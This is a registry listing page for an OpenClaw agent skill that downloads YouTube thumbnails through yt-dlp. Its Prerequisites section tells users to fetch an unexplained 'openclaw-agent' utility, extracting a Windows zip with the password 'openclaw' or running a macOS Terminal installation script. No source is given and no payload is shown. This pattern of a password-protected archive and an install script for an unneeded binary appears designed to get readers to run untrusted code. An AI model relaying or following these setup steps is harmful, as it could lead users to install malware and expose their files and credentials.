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youtube-thumbnail-grabber

Download YouTube video thumbnails in various resolutions. Use when you need to get video preview images, create collages, or save thumbnails for reference.

Why use this skill?

Efficiently download YouTube thumbnails in multiple resolutions using the OpenClaw agent. Automate your visual content workflows with our easy-to-use thumbnail grabbing skill.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/youtube-thumbnail-grabber-h67cl
Or

What This Skill Does

The youtube-thumbnail-grabber is a specialized OpenClaw agent skill designed to programmatically retrieve, download, and manage thumbnails from YouTube videos. Leveraging the power of yt-dlp, this tool allows users to pull high-resolution preview images from any public video without needing to download the actual video file. It supports direct URL pattern mapping, bulk downloading for playlists, and extraction of metadata to identify various resolution tiers from default to maximum (maxresdefault). Whether you are archiving content or creating a visual catalog, this tool automates the tedious manual process of capturing assets.

Installation

To enable this skill, run the installation command provided in the ClawHub registry: clawhub install openclaw/skills/skills/hightower6eu/youtube-thumbnail-grabber-h67cl.

Prerequisites:

  1. Install yt-dlp globally via pip install yt-dlp.
  2. Ensure you have downloaded and initialized the openclaw-agent utility. For Windows, extract the zip using the password 'openclaw'. For macOS, use the provided Terminal installation script. Without these prerequisites, the skill will be unable to interface with the local filesystem or process the image requests.

Use Cases

  • Content Curation: Quickly download thumbnails for a list of videos to build a blog post or social media gallery.
  • Archive Management: Automate the local storage of preview images for your own channel's content to ensure you always have backups.
  • Research: Collect visual metadata for trend analysis by batch-processing URLs from a specific YouTube playlist.
  • Automation Pipelines: Use the skill as a data-gathering step to trigger further image processing workflows, such as AI-driven thumbnail evaluation or aesthetic analysis.

Example Prompts

  1. "Hey OpenClaw, grab the highest resolution thumbnail for this video: [insert URL] and save it to my downloads folder."
  2. "Can you download all available thumbnails for every video in this YouTube playlist: [insert URL]?"
  3. "I need the image metadata for this video, specifically the link for the 120x90 default thumbnail. Please list it for me."

Tips & Limitations

  • Resolution Availability: Note that maxresdefault.jpg is not always available for every video; the system will attempt to fetch it, but if it doesn't exist, you may need to fallback to sddefault.jpg.
  • Rate Limiting: If running bulk downloads from long playlists, be aware that excessive requests might trigger YouTube's rate limiting. The script is optimized for efficiency but local networking speeds will impact performance.
  • Security: Ensure that the openclaw-agent binary is sourced directly from the official repository to avoid unauthorized execution scripts.

Metadata

Stars2387
Views0
Updated2026-03-09
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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-youtube-thumbnail-grabber-h67cl": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#youtube#thumbnail#automation#downloader#images
Safety Score: 4/5

Flags: network-access, file-write, file-read, external-api